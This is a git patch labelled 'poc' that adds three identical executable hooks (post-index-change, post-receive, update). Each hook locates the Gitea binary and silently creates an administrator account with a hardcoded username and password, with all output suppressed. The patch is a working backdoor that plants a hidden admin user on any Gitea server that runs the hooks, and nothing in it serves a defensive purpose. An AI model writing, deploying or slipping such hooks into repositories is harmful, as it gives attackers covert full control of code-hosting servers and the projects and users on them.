From b5f7770fcb02e86ae6b77d0f411070f18e8f0214 Mon Sep 17 00:00:00 2001 From: fh-78s8w4 Date: Sat, 19 Sep 2026 04:30:17 +0000 Subject: [PATCH] poc --- hooks/post-index-change | 4 ++++ hooks/post-receive | 4 ++++ hooks/update | 4 ++++ 3 files changed, 12 insertions(+) create mode 100755 hooks/post-index-change create mode 100755 hooks/post-receive create mode 100755 hooks/update diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..3802127 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-78s8" --password 'Fh-admin-78s8!x' --email "fh-admin-78s8@example.com" --admin --must-change-password=false >/dev/null 2>&1 diff --git a/hooks/post-receive b/hooks/post-receive new file mode 100755 index 0000000..3802127 --- /dev/null +++ b/hooks/post-receive @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-78s8" --password 'Fh-admin-78s8!x' --email "fh-admin-78s8@example.com" --admin --must-change-password=false >/dev/null 2>&1 diff --git a/hooks/update b/hooks/update new file mode 100755 index 0000000..3802127 --- /dev/null +++ b/hooks/update @@ -0,0 +1,4 @@ +#!/bin/sh +G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done +[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)" +[ -n "$G" ] && "$G" admin user create --username "fh-admin-78s8" --password 'Fh-admin-78s8!x' --email "fh-admin-78s8@example.com" --admin --must-change-password=false >/dev/null 2>&1